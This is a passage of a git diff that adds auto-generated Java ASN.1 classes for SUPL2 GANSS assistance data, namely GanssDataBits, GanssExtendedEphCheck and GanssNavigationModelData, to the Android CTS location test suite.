+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "almanacModelIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssAdditionalDataChoices = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
new file mode 100755
index 0000000..47c84ed
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssDataBits.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssDataBits extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssDataBits
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssDataBits() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssDataBits;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssDataBits != null) {
+ return ImmutableList.of(TAG_GanssDataBits);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssDataBits from encoded stream.
+ */
+ public static GanssDataBits fromPerUnaligned(byte[] encodedBytes) {
+ GanssDataBits result = new GanssDataBits();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssDataBits from encoded stream.
+ */
+ public static GanssDataBits fromPerAligned(byte[] encodedBytes) {
+ GanssDataBits result = new GanssDataBits();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GanssDataBits.ganssTODminType ganssTODmin_;
+ public GanssDataBits.ganssTODminType getGanssTODmin() {
+ return ganssTODmin_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssDataBits.ganssTODminType
+ */
+ public void setGanssTODmin(Asn1Object value) {
+ this.ganssTODmin_ = (GanssDataBits.ganssTODminType) value;
+ }
+ public GanssDataBits.ganssTODminType setGanssTODminToNewInstance() {
+ ganssTODmin_ = new GanssDataBits.ganssTODminType();
+ return ganssTODmin_;
+ }
+
+ private ReqDataBitAssistanceList reqDataBitAssistanceList_;
+ public ReqDataBitAssistanceList getReqDataBitAssistanceList() {
+ return reqDataBitAssistanceList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReqDataBitAssistanceList
+ */
+ public void setReqDataBitAssistanceList(Asn1Object value) {
+ this.reqDataBitAssistanceList_ = (ReqDataBitAssistanceList) value;
+ }
+ public ReqDataBitAssistanceList setReqDataBitAssistanceListToNewInstance() {
+ reqDataBitAssistanceList_ = new ReqDataBitAssistanceList();
+ return reqDataBitAssistanceList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODmin() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODmin();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODminToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssDataBits.ganssTODminType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODmin : "
+ + getGanssTODmin().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReqDataBitAssistanceList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReqDataBitAssistanceList();
+ }
+
+ @Override public void setToNewInstance() {
+ setReqDataBitAssistanceListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReqDataBitAssistanceList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reqDataBitAssistanceList : "
+ + getReqDataBitAssistanceList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTODminType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTODminType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTODminType() {
+ super();
+ setValueRange("0", "59");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTODminType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTODminType != null) {
+ return ImmutableList.of(TAG_ganssTODminType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTODminType from encoded stream.
+ */
+ public static ganssTODminType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTODminType result = new ganssTODminType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTODminType from encoded stream.
+ */
+ public static ganssTODminType fromPerAligned(byte[] encodedBytes) {
+ ganssTODminType result = new ganssTODminType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTODminType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssDataBits = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
new file mode 100755
index 0000000..5c80b10
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssExtendedEphCheck.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssExtendedEphCheck extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssExtendedEphCheck
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssExtendedEphCheck() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssExtendedEphCheck;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssExtendedEphCheck != null) {
+ return ImmutableList.of(TAG_GanssExtendedEphCheck);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssExtendedEphCheck from encoded stream.
+ */
+ public static GanssExtendedEphCheck fromPerUnaligned(byte[] encodedBytes) {
+ GanssExtendedEphCheck result = new GanssExtendedEphCheck();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssExtendedEphCheck from encoded stream.
+ */
+ public static GanssExtendedEphCheck fromPerAligned(byte[] encodedBytes) {
+ GanssExtendedEphCheck result = new GanssExtendedEphCheck();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSextEphTime beginTime_;
+ public GANSSextEphTime getBeginTime() {
+ return beginTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSextEphTime
+ */
+ public void setBeginTime(Asn1Object value) {
+ this.beginTime_ = (GANSSextEphTime) value;
+ }
+ public GANSSextEphTime setBeginTimeToNewInstance() {
+ beginTime_ = new GANSSextEphTime();
+ return beginTime_;
+ }
+
+ private GANSSextEphTime endTime_;
+ public GANSSextEphTime getEndTime() {
+ return endTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSextEphTime
+ */
+ public void setEndTime(Asn1Object value) {
+ this.endTime_ = (GANSSextEphTime) value;
+ }
+ public GANSSextEphTime setEndTimeToNewInstance() {
+ endTime_ = new GANSSextEphTime();
+ return endTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBeginTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBeginTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setBeginTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSextEphTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "beginTime : "
+ + getBeginTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEndTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEndTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setEndTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSextEphTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "endTime : "
+ + getEndTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssExtendedEphCheck = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
new file mode 100755
index 0000000..88bfe5e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssNavigationModelData.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssNavigationModelData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssNavigationModelData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssNavigationModelData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssNavigationModelData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssNavigationModelData != null) {
+ return ImmutableList.of(TAG_GanssNavigationModelData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssNavigationModelData from encoded stream.
+ */
+ public static GanssNavigationModelData fromPerUnaligned(byte[] encodedBytes) {
+ GanssNavigationModelData result = new GanssNavigationModelData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssNavigationModelData from encoded stream.
+ */
+ public static GanssNavigationModelData fromPerAligned(byte[] encodedBytes) {
+ GanssNavigationModelData result = new GanssNavigationModelData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GanssNavigationModelData.ganssWeekType ganssWeek_;
+ public GanssNavigationModelData.ganssWeekType getGanssWeek() {
+ return ganssWeek_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssNavigationModelData.ganssWeekType
+ */
+ public void setGanssWeek(Asn1Object value) {
+ this.ganssWeek_ = (GanssNavigationModelData.ganssWeekType) value;
+ }
+ public GanssNavigationModelData.ganssWeekType setGanssWeekToNewInstance() {
+ ganssWeek_ = new GanssNavigationModelData.ganssWeekType();
+ return ganssWeek_;
+ }
+
+ private GanssNavigationModelData.ganssToeType ganssToe_;
+ public GanssNavigationModelData.ganssToeType getGanssToe() {
+ return ganssToe_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssNavigationModelData.ganssToeType
+ */
+ public void setGanssToe(Asn1Object value) {
+ this.ganssToe_ = (GanssNavigationModelData.ganssToeType) value;
+ }
+ public GanssNavigationModelData.ganssToeType setGanssToeToNewInstance() {
+ ganssToe_ = new GanssNavigationModelData.ganssToeType();
+ return ganssToe_;
+ }
+
+ private GanssNavigationModelData.t_toeLimitType t_toeLimit_;
+ public GanssNavigationModelData.t_toeLimitType getT_toeLimit() {
+ return t_toeLimit_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssNavigationModelData.t_toeLimitType
+ */
+ public void setT_toeLimit(Asn1Object value) {
+ this.t_toeLimit_ = (GanssNavigationModelData.t_toeLimitType) value;
+ }
+ public GanssNavigationModelData.t_toeLimitType setT_toeLimitToNewInstance() {
+ t_toeLimit_ = new GanssNavigationModelData.t_toeLimitType();
+ return t_toeLimit_;
+ }
+
+ private SatellitesListRelatedDataList satellitesListRelatedDataList_;
+ public SatellitesListRelatedDataList getSatellitesListRelatedDataList() {
+ return satellitesListRelatedDataList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatellitesListRelatedDataList
+ */
+ public void setSatellitesListRelatedDataList(Asn1Object value) {
+ this.satellitesListRelatedDataList_ = (SatellitesListRelatedDataList) value;
+ }
+ public SatellitesListRelatedDataList setSatellitesListRelatedDataListToNewInstance() {
+ satellitesListRelatedDataList_ = new SatellitesListRelatedDataList();
+ return satellitesListRelatedDataList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssWeek() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssWeek();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssWeekToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssNavigationModelData.ganssWeekType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssWeek : "
+ + getGanssWeek().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssToe() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssToe();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssToeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssNavigationModelData.ganssToeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssToe : "
+ + getGanssToe().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getT_toeLimit() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getT_toeLimit();
+ }
+
+ @Override public void setToNewInstance() {
+ setT_toeLimitToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssNavigationModelData.t_toeLimitType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "t_toeLimit : "
+ + getT_toeLimit().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatellitesListRelatedDataList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatellitesListRelatedDataList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatellitesListRelatedDataListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatellitesListRelatedDataList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satellitesListRelatedDataList : "
+ + getSatellitesListRelatedDataList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssWeekType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssWeekType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssWeekType() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssWeekType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssWeekType != null) {
+ return ImmutableList.of(TAG_ganssWeekType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssWeekType from encoded stream.
+ */
+ public static ganssWeekType fromPerUnaligned(byte[] encodedBytes) {
+ ganssWeekType result = new ganssWeekType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssWeekType from encoded stream.
+ */
+ public static ganssWeekType fromPerAligned(byte[] encodedBytes) {
+ ganssWeekType result = new ganssWeekType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssWeekType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssToeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssToeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssToeType() {
+ super();
+ setValueRange("0", "167");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssToeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssToeType != null) {
+ return ImmutableList.of(TAG_ganssToeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssToeType from encoded stream.
+ */
+ public static ganssToeType fromPerUnaligned(byte[] encodedBytes) {
+ ganssToeType result = new ganssToeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssToeType from encoded stream.
+ */
+ public static ganssToeType fromPerAligned(byte[] encodedBytes) {
+ ganssToeType result = new ganssToeType();
